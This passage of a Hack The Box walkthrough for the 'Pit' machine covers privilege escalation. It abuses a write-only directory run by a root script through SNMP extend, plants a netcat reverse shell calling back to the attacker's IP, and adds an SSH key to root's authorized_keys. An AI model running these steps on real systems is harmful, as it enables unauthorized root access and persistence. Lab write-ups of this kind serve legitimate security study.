[+] [CVE-2019-13272] PTRACE_TRACEME
Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
Exposure: less probable
Tags: ubuntu=16.04{kernel:4.15.0-*},ubuntu=18.04{kernel:4.15.0-*},debian=9{kernel:4.9.0-*},debian=10{kernel:4.19.0-*},fedora=30{kernel:5.0.9-*}
Download URL: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47133.zip
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2019-13272/poc.c
Comments: Requires an active PolKit agent.I spent some time analyzing and trying to apply the suggested exploits, but to no avail. So, once again, dead end. I also took a look at the open doors on the car, but nothing of interest.
[michelle@pit temp]$ ss -tulpn | grep LISTEN
tcp LISTEN 0 128 127.0.0.1:199 0.0.0.0:*
tcp LISTEN 0 64 127.0.0.1:44271 0.0.0.0:* users:(("cockpit-bridge",pid=9124,fd=13))
tcp LISTEN 0 128 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 80 *:3306 *:*
tcp LISTEN 0 128 [::]:80 [::]:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 128 *:9090 *:* I decide to switch to linpeas.sh, it is always the best tool to use in these cases. Initially the linpeas session does not seem to show anything interesting and therefore I still lose a lot of time in the maze of uncertainty. Then, however, reading and re-reading the output something catches my attention.
[...]
[+] Files with ACLs (limited to 50)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#acls
# file: /usr/local/monitoring
USER root rwx
user michelle -wx
GROUP root rwx
mask rwx
other ---
[...]It appears that user michelle has the permission to write and execute the /usr/local/monitoring file, but not the read permissions. I personally try the command to retrieve the ACLs on the file, and actually the output is the same.
[michelle@pit ~]$ getfacl /usr/local/monitoring
getfacl: Removing leading '/' from absolute path names
# file: usr/local/monitoring
# owner: root
# group: root
user::rwx
user:michelle:-wx
group::rwx
mask::rwx
other::---The file seems to be actually a directory and the listing of the files is denied to me, obviously I cannot operate anything not knowing its content.
[michelle@pit ~]$ cd /usr/local/
[michelle@pit local]$ pwd
/usr/local
[michelle@pit local]$ cd monitoring/
[michelle@pit monitoring]$ ls -la
ls: cannot open directory '.': Permission deniedThere's something strange here, I think I am on the right path, but I cannot understand how to proceed. So I try to look for something on the file system that contains that folder (a script or similar) that can get me some additional information.
[michelle@pit /]$ grep -irl "/usr/local/monitoring" /* 2>/dev/null
/bin/monitorThe operation is long, but something interesting emerges almost immediately, so I stop the process and proceed.
[michelle@pit /]$ cat /bin/monitor
#!/bin/bash
for script in /usr/local/monitoring/check*sh
do
/bin/bash $script
doneA file named monitor in the bin folder contains a small script that cycles through files into /usr/local/monitoring folder with check prefix and sh extension and executes them. This allows me to put files inside that folder, which respect this constraint, but I cannot run them as an administrator. probably the script I just found is being run by some process with administrator privileges.
[michelle@pit in7r-temp]$ echo "cp /root/root.txt /home/michelle/in7r-temp/" > /usr/local/monitoring/check*sh && /bin/bash /bin/monitor && ls -la
cp: cannot stat '/root/root.txt': Permission deniedAs I said, I can run them, but not as an administrator. At this point it becomes really tricky, searching for hours on the machine I do not find anything that can help me in launching the script as an administrator. But I made a mistake, I ruled out something that has already brought me useful information previously as a possible direction to follow (as if it had already done its job): the SNMP service. Looking inside the SNMP scan I find something interesting.
┌──(in7rud3r㉿Mykali)-[~/…/_10.10.10.241 - Pit (lin)/attack/snmp/snmp]
└─$ cat 10.10.10.241.snmp | grep monitor
.1.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: "/usr/bin/monitor"The section we are in is exactly the nsExtendObjects and it should therefore be possible to execute the commands contained in this section. Unfortunately as I mentioned earlier, I cannot write in this section, but what is contained here can be executed (in theory).
┌──(in7rud3r㉿Mykali)-[~/…/_10.10.10.241 - Pit (lin)/attack/snmp/snmp]
└─$ snmpwalk -v 2c -c public 10.10.10.241 nsExtendObjects
nsExtendObjects: Unknown Object Identifier (Sub-id not found: (top) -> nsExtendObjects)There's something wrong, let's try to specify the OID rather than the MIB (this is not the same machine I used to do the CTF on the Intense BOX).
┌──(in7rud3r㉿Mykali)-[~/…/_10.10.10.241 - Pit (lin)/attack/snmp/snmp]
└─$ snmpwalk -v 2c -c public 10.10.10.241 1.3.6.1.4.1.8072.1.3.2 1 ⨯
iso.3.6.1.4.1.8072.1.3.2.1.0 = INTEGER: 1
iso.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: "/usr/bin/monitor"
iso.3.6.1.4.1.8072.1.3.2.2.1.3.10.109.111.110.105.116.111.114.105.110.103 = ""
iso.3.6.1.4.1.8072.1.3.2.2.1.4.10.109.111.110.105.116.111.114.105.110.103 = ""
iso.3.6.1.4.1.8072.1.3.2.2.1.5.10.109.111.110.105.116.111.114.105.110.103 = INTEGER: 5
iso.3.6.1.4.1.8072.1.3.2.2.1.6.10.109.111.110.105.116.111.114.105.110.103 = INTEGER: 1
iso.3.6.1.4.1.8072.1.3.2.2.1.7.10.109.111.110.105.116.111.114.105.110.103 = INTEGER: 1
iso.3.6.1.4.1.8072.1.3.2.2.1.20.10.109.111.110.105.116.111.114.105.110.103 = INTEGER: 4
iso.3.6.1.4.1.8072.1.3.2.2.1.21.10.109.111.110.105.116.111.114.105.110.103 = INTEGER: 1
iso.3.6.1.4.1.8072.1.3.2.3.1.1.10.109.111.110.105.116.111.114.105.110.103 = STRING: "Memory usage"
iso.3.6.1.4.1.8072.1.3.2.3.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: "Memory usage
total used free shared buff/cache available
Mem: 3.8Gi 423Mi 2.1Gi 8.0Mi 1.3Gi 3.2Gi
Swap: 1.9Gi 0B 1.9Gi
Database status
OK - Connection to database successful.
System release info
CentOS Linux release 8.3.2011
SELinux Settings
user
Labeling MLS/ MLS/
SELinux User Prefix MCS Level MCS Range SELinux Roles
guest_u user s0 s0 guest_r
root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r
staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r
sysadm_u user s0 s0-s0:c0.c1023 sysadm_r
system_u user s0 s0-s0:c0.c1023 system_r unconfined_r
unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r
user_u user s0 s0 user_r
xguest_u user s0 s0 xguest_r
login
Login Name SELinux User MLS/MCS Range Service
__default__ unconfined_u s0-s0:c0.c1023 *
michelle user_u s0 *
root unconfined_u s0-s0:c0.c1023 *
Memory usage
total used free shared buff/cache available
Mem: 3.8Gi 423Mi 2.1Gi 8.0Mi 1.3Gi 3.2Gi
Swap: 1.9Gi 0B 1.9Gi
System uptime
16:10:57 up 1:34, 1 user, load average: 0.08, 0.02, 0.04"
iso.3.6.1.4.1.8072.1.3.2.3.1.3.10.109.111.110.105.116.111.114.105.110.103 = INTEGER: 35
iso.3.6.1.4.1.8072.1.3.2.3.1.4.10.109.111.110.105.116.111.114.105.110.103 = INTEGER: 0
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.1 = STRING: "Memory usage"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.2 = STRING: " total used free shared buff/cache available"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.3 = STRING: "Mem: 3.8Gi 423Mi 2.1Gi 8.0Mi 1.3Gi 3.2Gi"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.4 = STRING: "Swap: 1.9Gi 0B 1.9Gi"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.5 = STRING: "Database status"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.6 = STRING: "OK - Connection to database successful."
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.7 = STRING: "System release info"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.8 = STRING: "CentOS Linux release 8.3.2011"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.9 = STRING: "SELinux Settings"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.10 = STRING: "user"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.11 = ""
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.12 = STRING: " Labeling MLS/ MLS/ "
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.13 = STRING: "SELinux User Prefix MCS Level MCS Range SELinux Roles"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.14 = ""
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.15 = STRING: "guest_u user s0 s0 guest_r"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.16 = STRING: "root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.17 = STRING: "staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.18 = STRING: "sysadm_u user s0 s0-s0:c0.c1023 sysadm_r"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.19 = STRING: "system_u user s0 s0-s0:c0.c1023 system_r unconfined_r"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.20 = STRING: "unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.21 = STRING: "user_u user s0 s0 user_r"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.22 = STRING: "xguest_u user s0 s0 xguest_r"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.23 = STRING: "login"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.24 = ""
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.25 = STRING: "Login Name SELinux User MLS/MCS Range Service"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.26 = ""
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.27 = STRING: "__default__ unconfined_u s0-s0:c0.c1023 *"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.28 = STRING: "michelle user_u s0 *"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.29 = STRING: "root unconfined_u s0-s0:c0.c1023 *"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.30 = STRING: "Memory usage"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.31 = STRING: " total used free shared buff/cache available"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.32 = STRING: "Mem: 3.8Gi 423Mi 2.1Gi 8.0Mi 1.3Gi 3.2Gi"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.33 = STRING: "Swap: 1.9Gi 0B 1.9Gi"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.34 = STRING: "System uptime"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.35 = STRING: " 16:10:57 up 1:34, 1 user, load average: 0.08, 0.02, 0.04"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.35 = No more variables left in this MIB View (It is past the end of the MIB tree)Great, it seems to have gone better, unfortunately I can't find the root flag file in the temp folder I created, there is probably some problem still. I try to change the script with a reverse shell instead of copying the file, hoping at least to get a connection.
[michelle@pit in7r-temp]$ echo "nc 10.10.14.157 4444 -e /bin/bash" > /usr/local/monitoring/check.shAlmost incredulous, I see the shell activate and I'm the root user.
┌──(in7rud3r㉿Mykali)-[~]
└─$ nc -lvp 4444 1 ⨯
listening on [any] 4444 ...
connect to [10.10.14.157] from pit.htb [10.10.10.241] 58378
ls -la
total 20
drwxr-xr-x. 17 root root 224 May 10 10:56 .
drwxr-xr-x. 17 root root 224 May 10 10:56 ..
lrwxrwxrwx. 1 root root 7 May 10 10:56 bin -> usr/bin
dr-xr-xr-x. 6 root root 4096 May 10 11:38 boot
drwxr-xr-x. 20 root root 3060 May 30 14:36 dev
drwxr-xr-x. 97 root root 8192 May 10 11:25 etc
drwxr-xr-x. 3 root root 22 Nov 3 2020 home
lrwxrwxrwx. 1 root root 7 May 10 10:56 lib -> usr/lib
lrwxrwxrwx. 1 root root 9 May 10 10:56 lib64 -> usr/lib64
drwxr-xr-x. 2 root root 6 Nov 3 2020 media
drwxr-xr-x. 2 root root 6 Nov 3 2020 mnt
drwxr-xr-x. 2 root root 6 Nov 3 2020 opt
dr-xr-xr-x. 239 root root 0 May 30 14:36 proc
dr-xr-x---. 5 root root 225 May 10 11:07 root
drwxr-xr-x. 32 root root 900 May 30 16:15 run
lrwxrwxrwx. 1 root root 8 May 10 10:56 sbin -> usr/sbin
drwxr-xr-x. 2 root root 6 Nov 3 2020 srv
dr-xr-xr-x. 13 root root 0 May 30 14:36 sys
drwxrwxrwt. 3 root root 85 May 30 16:15 tmp
drwxr-xr-x. 12 root root 144 May 10 05:06 usr
drwxr-xr-x. 21 root root 4096 May 10 08:34 var
whoami
rootBut once again there is something wrong.
cd /root
ls -la
total 0
dr-xr-x---. 5 root root 225 May 10 11:07 .
drwxr-xr-x. 17 root root 224 May 10 10:56 ..
lrwxrwxrwx. 1 root root 9 May 10 10:56 .bash_history -> /dev/null
-?????????? ? ? ? ? ? .bash_logout
-?????????? ? ? ? ? ? .bash_profile
-?????????? ? ? ? ? ? .bashrc
-?????????? ? ? ? ? ? cleanup.sh
drwx------. 3 root root 20 Apr 17 2020 .config
-?????????? ? ? ? ? ? .cshrc
drwx------. 2 root root 122 Apr 18 2020 monitoring
lrwxrwxrwx. 1 root root 9 May 10 10:56 .mysql_history -> /dev/null
lrwxrwxrwx. 1 root root 9 May 10 11:07 null -> /dev/null
-?????????? ? ? ? ? ? root.txt
drwx------. 2 root root 29 Apr 18 2020 .ssh
-?????????? ? ? ? ? ? .tcshrcIt's probably the same reason copying the file doesn't work (I also tried restarting the BOX, assuming some service was broken due to other users' exploits, but the result didn't change). In any case, in the root folder, I find something interesting.
ls -la .ssh
total 0
drwx------. 2 root root 29 Apr 18 2020 .
dr-xr-x---. 5 root root 225 May 10 11:07 ..
-rw-r--r--. 1 root root 0 May 10 11:50 authorized_keysObviously, since there is nothing better than an ssh channel and having the file of the authorized public keys available, I have to enter my key into and connect. So, generate a new key:
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.241 - Pit (lin)/attack]
└─$ ssh-keygen -t rsa -b 4096 -f privKey.key
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in privKey.key
Your public key has been saved in privKey.key.pub
The key fingerprint is:
SHA256:KHYE9cjjOYLsej1r681H3KnM5wxrJTLtEJCBHqGeYNg in7rud3r@Mykali
The key's randomart image is:
+---[RSA 4096]----+
| .oo+. |
|.oo oo o |
|+oE. .= . |
|+.o. o.+ |
| oo + *+S. . |
| . . ++.= + |
| .. O.+ |
| .. +o B+. |
|.. o++oo.oo |
+----[SHA256]-----+
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.241 - Pit (lin)/attack]
└─$ cat privKey.key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDaYguL8aEs4dkpK6in3vLTQ0N/phythg7E9N/m+xt+Dd9hQEDVdEMKi2gBJojNHn38d+TZAVKhFYx2VoVTSUCpP6wLGeEABRV1PeITFXcQIvSfAgy274I2I6a1xPMgRofhKoAbytLf5hX6iCS26Qn7b7J0cuKk+MW2whvLUBAwzezjkDgNK6mVY6wGlPa1kZlUpyEAx293ug3S98B23Og0+hiAhtaCOlSurvWag0vttAS+9ICJ3Tx/69F0gh/PvzTRUDkRtC1IBQGjLbyZYgr2Lpm2d0VqgKnBFZSib7kqJts4wif/ezJXnXLKkdgBgBjO9WcGr32DUbJcZ1VX3ZWh3VX6O+gYsPpo7Fw51Yci5ZaK6+1i8u7nNSRCIpLO/kisFC8a5elX07YLKuJWx5mMnXORmXJ4AoxUPmZd5sDZzX46V+lQ5vdY61jIXiubcYECgG6zrM35ymcGe1j//Y+Sn3VduREePZq+P7ZQePEcOdGeO/bfHGTeB1yITHLkBTUYO22w1yWfrmaR5ZrOkt8I+peVNoxVmxaDJCInMFi53QC68BUn2xpxJaWj359JZPN3DBV/VmEiTHWn4A9Iyq4WXyR3iAC2x7Prqh2heFBsl6hIasNXc/CBIouu0hbSpcEAM0t5Fn7wc1cFcefE5eMfDiNl3ZJDxpns3eM9W7fIrw== in7rud3r@MykaliInsert it into the authorized_keys of the root user on the target machine:
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDaYguL8aEs4dkpK6in3vLTQ0N/phythg7E9N/m+xt+Dd9hQEDVdEMKi2gBJojNHn38d+TZAVKhFYx2VoVTSUCpP6wLGeEABRV1PeITFXcQIvSfAgy274I2I6a1xPMgRofhKoAbytLf5hX6iCS26Qn7b7J0cuKk+MW2whvLUBAwzezjkDgNK6mVY6wGlPa1kZlUpyEAx293ug3S98B23Og0+hiAhtaCOlSurvWag0vttAS+9ICJ3Tx/69F0gh/PvzTRUDkRtC1IBQGjLbyZYgr2Lpm2d0VqgKnBFZSib7kqJts4wif/ezJXnXLKkdgBgBjO9WcGr32DUbJcZ1VX3ZWh3VX6O+gYsPpo7Fw51Yci5ZaK6+1i8u7nNSRCIpLO/kisFC8a5elX07YLKuJWx5mMnXORmXJ4AoxUPmZd5sDZzX46V+lQ5vdY61jIXiubcYECgG6zrM35ymcGe1j//Y+Sn3VduREePZq+P7ZQePEcOdGeO/bfHGTeB1yITHLkBTUYO22w1yWfrmaR5ZrOkt8I+peVNoxVmxaDJCInMFi53QC68BUn2xpxJaWj359JZPN3DBV/VmEiTHWn4A9Iyq4WXyR3iAC2x7Prqh2heFBsl6hIasNXc/CBIouu0hbSpcEAM0t5Fn7wc1cFcefE5eMfDiNl3ZJDxpns3eM9W7fIrw== in7rud3r@Mykali" >> .ssh/authorized_keysAnd try to connect:
┌──(in7rud3r㉿Mykali)-[~/Dropbox/hackthebox/_10.10.10.241 - Pit (lin)/attack]
└─$ ssh -i privKey.key [email protected]
Web console: https://pit.htb:9090/
Last login: Mon May 10 11:42:46 2021
[root@pit ~]# pwd
/root
[root@pit ~]# ls -ls
total 8
4 -rwx------. 1 root root 706 Apr 22 2020 cleanup.sh
0 drwx------. 2 root root 122 Apr 18 2020 monitoring
0 lrwxrwxrwx. 1 root root 9 May 10 11:07 null -> /dev/null
4 -r--------. 1 root root 33 May 30 16:21 root.txt
[root@pit ~]# cat root.txt
6******************************f
[root@pit ~]# Well, it was really a long and complicated BOX, but this time too we reached the goal and above all the flags. That's all folks, have nice hacking activities until the next BOX... see you soon!